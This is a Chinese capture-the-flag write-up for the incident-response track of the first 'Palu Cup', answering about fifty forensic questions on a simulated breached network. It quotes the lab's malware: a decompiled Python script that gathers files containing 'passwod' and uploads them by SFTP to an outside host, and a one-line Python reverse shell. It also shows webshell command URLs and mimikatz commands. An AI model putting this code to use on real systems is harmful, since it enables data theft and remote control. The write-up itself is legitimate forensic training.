第一届 “帕鲁杯“ writeup-应急响应

时间:2024-04-22 16:12:11

1.找到JumpServer堡垒机中flag标签的值。

访问后台http://192.168.20.123:8080,账号密码admin/Network@2020
在更多选项中标签里找到flag
在这里插入图片描述

[BrYeaVj54009rDIZzu4O]

2.提交攻击者第一次登录时间。

试了几个不对,然后准备试一个很特别的,没想到就是
在这里插入图片描述

[2024/04/11/14:21:18]

3.提交攻击者源IP。

在jumpserver的资产详情中找到ip

在这里插入图片描述

[192.168.1.4]

4.提交攻者使用的cve编号。

在这里插入图片描述
攻击者登陆后使用了作业模块,联系到最近刚出的jumpserver的两个新漏洞,拿下
在这里插入图片描述

[CVE-2024-29201]

5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。

在root下有一个home,一开始看到了放vt上看没毒就以为不是这个文件,后来发现在jumpserver上出题人计算了这个文件的hash就觉的不简单。
导出
在这里插入图片描述
在这里插入图片描述

[84413332e4e7138adc5d6f1f688ddd69]

6.分析恶意程序连接地址和密码。

第一次知道linux的python程序也能用unpacker
在这里插入图片描述
在这里插入图片描述
甚至版本,那就在线吧
在这里插入图片描述

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
    pass
# WARNING: Decompyle incomplete


def ssh(local_file_path, remote_file_path):
    hostname = '82.157.238.111'
    port = 22
    username = 'root'
    password = '1qaz@WSX3edc'
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp()
    sftp.put(local_file_path, remote_file_path)
    sftp.close()
    client.close()
    print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]

7.提交存在反序列化漏洞的端口。

在WAF中找到shell路径和密码,查看当前网络开发情况
http://192.168.20.121/?123=system(%27netstat%20-anpt%27);
发现有7001,8080,测试后8080为反序列化漏洞的端口

[8080]

8.提交攻击者使用的后门路由地址。

在jumpserver里的记录里面发现cat了app.py
在这里插入图片描述
尝试提交/api/system的答案,对的

[948c4425bad48511fd6281d345ee69a1]  

9.提交dnslog反弹域名。

发现flask文件夹下有一个log.txt

在这里插入图片描述
提交0vqkht.dnslog.cn答案不对,往后找到还有0vqkht.palu.cn
在这里插入图片描述

[86fedf00e173a0d531be569028fc1f6e]

10.提交第一次扫描器使用时间。

在上面找到log日志,可以发现间隔时间非常之短,有没有可能就是扫描器呢?
在这里插入图片描述
没想到对了…这也算扫描器

[2024/04/15/02:26:59]

11.提交攻击者反弹shell使用的语言。

在log日志找到python
在这里插入图片描述

[23eeeb4347bdd26bfc6b7ee9a3b755dd]

12.提交攻击者反弹shell的ip。

同上图

[82.157.238.174]

13.提交攻击者留下的账号。

在这里插入图片描述

[palu.com]

14.提交攻击者的后门账户密码。

用dg打开然后看shadow
在这里插入图片描述在这里插入图片描述

猜测能用rockyou爆破
在这里插入图片描述
密码123123

[4297f44b13955235245b2497399d7a93]

15.提交测试数据条数。

看mysql1,5条
在这里插入图片描述

[e4da3b7fbbce2345d7772b0674a318d5]

16.请提交攻击者留下的信息。

在/var/log/nginx下想查看日志的时候,发现一个hack文件
在这里插入图片描述

flag{hi_palu_f10g}

17.请提交运维服务器上的恶意文件md5

在jumpserver上看到上传了个helloworld
找到在lib下,直接拷贝的镜像看不到lib文件
在这里插入图片描述
同时也计算了helloworld的hash,猜测可能是相关题目,用base64输出一下
在这里插入图片描述

拷贝出来解码,计算一下hash即可

[0fca0f847a45401c878d7a5303ddc1f8]

18.提交恶意文件的恶意函数。

不知道为什么不是haveadoor,答案是begingame
在这里插入图片描述

[ddd0599cda1fc289a617db148d75383b]

19.请提交攻击者恶意注册的恶意用户条数。

10
在这里插入图片描述

[d3d9446802a44259755d38e6d163e820]

20.请提交对博客系统的第一次扫描时间。

在这里插入图片描述

[2024/04/16/21:03:46]  

21.提交攻击者下载的文件。

在WAF里发现下载了一个upload.zip

在这里插入图片描述

[upload.zip]

22.请提交攻击者第一次下载服务器文件的时间。

这题是做的倒数第7题,之前在做的时候找到log日志
这次是找到的jumpserver里也多次出现的other_vhosts_access
在这里插入图片描述
然后发现这里面的格式就是flag格式,尝试搜了一下upload.zip
在这里插入图片描述

[16/Apr/2024:09:03:52]

23.请提交攻击者留下的冰蝎马的文件名称。

在这里插入图片描述
用自带的后门查看一下
view-source:http://192.168.20.121/?123=system(%27cat%20./api/nidewen.php%27);

在这里插入图片描述
名称nidewen.php

[nidewen.php]

24.提交冰蝎的链接密码。

通过搜索可知,该密钥为连接密码32位md5值的前16位
秘钥1be873048db838ac
在这里插入图片描述
…,再来试试rockyou.txt字典,也不行,留着了。
Github 搜索,启动!
在这里插入图片描述

[nidewen]

25.提交办公区存在的恶意用户名。

登录时一共两个账号,一个administrator,另一个就是hacker

[hacker]

26.提交恶意用户密码到期时间。

cmd管理员运行net user hacker
在这里插入图片描述
不过这题在jumpserver里看操作记录视频回放也能看到

[2024/5/28/21:40:37]

27.请对办公区留存的镜像取证并指出内存疑似恶意进程。

windows,好,winhex导出
在这里插入图片描述
windows10是吧,volatility3启动
在这里插入图片描述
发现.hack.ex

[.hack.ex]

28.请指出该员工使用的公司OA平台的密码。

在查看内存文件的时候,发现用户叫qiyue
我有七月师傅的好友,然后在我印象里他应该不在这个团队
并且这个.hack.ex我有印象
google搜了一下“".hack.ex" “CTF””
在这里插入图片描述
https://blog.****.net/qq_22406677/article/details/135001795

在这里插入图片描述在这里插入图片描述

不过网上只有答案没有wp。
既然这样我就不用vol3来做了
在这里插入图片描述
很轻易再次证明和本次PC1没有关系。
然后iehistory一下发现访问过一个password.txt,filescan+dumpfiles导出
在这里插入图片描述
在这里插入图片描述
密码liuling7541

[liuling7541]

29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。

用多个命令来查看基本信息,在查看剪贴板的时候发现一个文件h4ck3d!
在这里插入图片描述

[h4ck3d!]

30.请提交该计算机中记录的重要联系人的家庭住址。

找Contact
在这里插入图片描述
王总一看就很重要
在这里插入图片描述
在这里插入图片描述
不愧是王总,秋水省雁荡市碧波区千屿山庄1号

[秋水省雁荡市碧波区千屿山庄1号]

31.请提交近源靶机上的恶意文件哈希。

打开电脑自动打开开始菜单的一个文件夹,猜测为恶意文件,使用windows自带的命令计算hash
在这里插入图片描述

[a7fcd0b15a080167c4c2f05063802a6e]

32.提交恶意程序的外联地址。

在虚拟机中安装vmware-tools,拖出来之后上传到vt
https://www.virustotal.com/gui/file/9f6ae95b5540d0d6c60e942fa68dee44b2781c58da3f21321f18b8384ab41084
找到这个CN的地址
在这里插入图片描述

[101.78.63.44]

33.提交攻击者使用内网扫描工具的哈希。

能够在记录里发现使用了fscan
在这里插入图片描述
发现路径为/bin
在这里插入图片描述
用md5sum计算一下即可
view-source:http://192.168.20.121/?123=system(%22md5sum%20/bin/fscan%22);

[1facdcd05c43ba4d37274dffc90b6d4e] 

34.请提交攻击者在站点上留下的后门密码。

第7题提到了密码是123

[202cb962ac59075b964b07152d234b70]

35.请提交攻击者在数据库留下的信息。

直接连上mysql1
在这里插入图片描述

[flag{hack_palu}]

36.提交攻击者在监控服务器上留下的dcnlog地址。

在这里插入图片描述

[palu.dcnlog.cn]

37.提交监控服务器上恶意用户的上一次登录时间。

搜索如何登录zabbix,找到http://192.168.20.12/zabbix/
顺便百度也给出来默认账号密码是Admin/zabbix
在用户处查看到最后一次登录时间
在这里插入图片描述

[2024/04/17/01:32:44]

38.提交监控服务器上遗留的反弹shell地址和端口。

见36的第6个命令,base解一下得到

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.183.110.12",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
[154.183.110.12:7890]

当然在平台上看也是可以的
在这里插入图片描述

39.提交恶意钓鱼文件的哈希。

在做45题时是搜索到了一个帕鲁杯初稿文件,猜测过会不会是钓鱼文档,测试后发现能提交

[da75025ff7f3b6baa27f5913c1c83063]

!40.提交恶意文件外连IP。

不会,尝试了翻事件管理器中的安全日志只出现了两个IP都试过了不对。

41.提交被恶意文件钓鱼使用者的姓名。

在这里插入图片描述

[陈琚鹭]

42.提交攻击者留下的信息。

看jumpserver
在这里插入图片描述
找视频
在这里插入图片描述

flag{2024-04-17-hi}

43.提交恶意用户数量。

在PC2上,打开cmd执行net user
一共49个
在这里插入图片描述

[f457c545a9ded88f18ecee47145a72c0]

44.请提交员工集体使用的密码。

使用winhex将SAM与SYSTEM导出
在这里插入图片描述导出后使用mimikatz
sekurlsa::minidump SYSTEM
lsadump::sam /sam:SAM /system:SYSTEM
随便选一个看看
在这里插入图片描述

能够发现这个NTLM与administrator的NTLM是同一个,那么所有用户的密码都是administrator的密码

[Network@2020]

45.提交加密文件的哈希。

发现上传了一个docx文件,于是乎使用everything去搜一下
在这里插入图片描述
误打误撞找到加密文件

[2bf71a0d6d4e70cec7602da2b653e2ab]

46.提交被攻击者加密的内容明文。

脚本见crypto题目

[2024ispassword]

47.请提交符合基线标准的服务器数量。

不知道,我理解的就是6台机器里面标准的数量,1-6都不对,最后猜的0对了

[cfcd208495d565ef66e7dff9f98764da]

48.提交办公区的恶意文件哈希。

在jumpserver的会话中发现PC2上传了一个文件palucomeyi1.exe
在这里插入图片描述
传一个everything上去搜
在这里插入图片描述
算一下hash

[5232a191eb2913337e0a93b0a990f2a2]

49.提交恶意回连端口。

使用unpacker
在这里插入图片描述
然后uncompyle6
在这里插入图片描述
结果如下:

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul  1 2022, 10:30:50) 
# [GCC 11.2.0]
# Embedded file name: palucomeyi1.py

#[此处省略400行由于反编译导致的无关代码]
Instruction context:
   
 L.  13        86  LOAD_FAST                'file_path'
                  88  LOAD_FAST                'search_text'
                  90  BUILD_TUPLE_2         2 
                  92  POP_BLOCK        
->                94  ROT_TWO          
                  96  BEGIN_FINALLY    
                  98  WITH_CLEANUP_START
                 100  WITH_CLEANUP_FINISH
                 102  POP_FINALLY           0  ''
                 104  ROT_TWO          
                 106  POP_TOP          
                 108  ROT_TWO          
                 110  POP_TOP          
                 112  RETURN_VALUE     
               114_0  COME_FROM            84  '84'
                 114  POP_BLOCK        
                 116  BEGIN_FINALLY    
               118_0  COME_FROM_WITH       66  '66'
                 118  WITH_CLEANUP_START
                 120  WITH_CLEANUP_FINISH
                 122  END_FINALLY      
                 124  JUMP_BACK            24  'to 24'
import os, paramiko
from getpass import getpass

def search_in_files--- This code section failed: ---

 L.   6         0  LOAD_GLOBAL              os
                2  LOAD_METHOD              walk
                4  LOAD_FAST                'directory'
                6  CALL_METHOD_1         1  ''
                8  GET_ITER         
               10  FOR_ITER            128  'to 128'
               12  UNPACK_SEQUENCE_3     3 
               14  STORE_FAST               'root'
               16  STORE_FAST               'dirs'
               18  STORE_FAST               'files'

 L.   7        20  LOAD_FAST                'files'
               22  GET_ITER         
             24_0  COME_FROM            36  '36'
               24  FOR_ITER            126  'to 126'
               26  STORE_FAST               'file'

 L.   8        28  LOAD_FAST                'file'
               30  LOAD_METHOD              endswith
               32  LOAD_STR                 '.txt'
               34  CALL_METHOD_1         1  ''
               36  POP_JUMP_IF_FALSE    24  'to 24'

 L.   9        38  LOAD_GLOBAL              os
               40  LOAD_ATTR                path
               42  LOAD_METHOD              join
               44  LOAD_FAST                'root'
               46  LOAD_FAST                'file'
               48  CALL_METHOD_2         2  ''
               50  STORE_FAST               'file_path'

 L.  10        52  LOAD_GLOBAL              open
               54  LOAD_FAST                'file_path'
               56  LOAD_STR                 'r'
               58  LOAD_STR                 'utf-8'
               60  LOAD_STR                 'ignore'
               62  LOAD_CONST               ('encoding', 'errors')
               64  CALL_FUNCTION_KW_4     4  '4 total positional and keyword args'
               66  SETUP_WITH          118  'to 118'
               68  STORE_FAST               'f'

 L.  11        70  LOAD_FAST                'f'
               72  LOAD_METHOD              read
               74  CALL_METHOD_0         0  ''
               76  STORE_FAST               'contents'

 L.  12        78  LOAD_FAST                'search_text'
               80  LOAD_FAST                'contents'
               82  COMPARE_OP               in
               84  POP_JUMP_IF_FALSE   114  'to 114'

 L.  13        86  LOAD_FAST                'file_path'
               88  LOAD_FAST                'search_text'
               90  BUILD_TUPLE_2         2 
               92  POP_BLOCK        
               94  ROT_TWO          
               96  BEGIN_FINALLY    
               98  WITH_CLEANUP_START
              100  WITH_CLEANUP_FINISH
              102  POP_FINALLY           0  ''
              104  ROT_TWO          
              106  POP_TOP          
              108  ROT_TWO          
              110  POP_TOP          
              112  RETURN_VALUE     
            114_0  COME_FROM            84  '84'
              114  POP_BLOCK        
              116  BEGIN_FINALLY    
            118_0  COME_FROM_WITH       66  '66'
              118  WITH_CLEANUP_START
              120  WITH_CLEANUP_FINISH
              122  END_FINALLY      
              124  JUMP_BACK            24  'to 24'
              126  JUMP_BACK            10  'to 10'

Parse error at or near `ROT_TWO' instruction at offset 94


def ssh(local_file_path, remote_file_path):
    hostname = '192.168.20.123'
    port = 22
    username = 'root'
    password = 'Network@2020'
    client = paramiko.SSHClient
    client.set_missing_host_key_policyparamiko.AutoAddPolicy
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp
    sftp.putlocal_file_pathremote_file_path
    sftp.close
    client.close
    print(f"File {local_file_path} uploaded to {remote_file_path} on {hostname}")
    flag = 'flag{234567uyhgn_aiduyai}'


search_directory = '/'
search_for_text = 'passwod'
a, b = search_in_files(search_directory, search_for_text)
ssh(a, b)

端口22

[22]

50.提交恶意程序中的flag。

如上

flag{234567uyhgn_aiduyai}

51.提交恶意文件中的search_for_text内容。

如上上

[passwod]

!52.提交web服务器上攻击者修改后的root密码。

这个是真的一点思路没有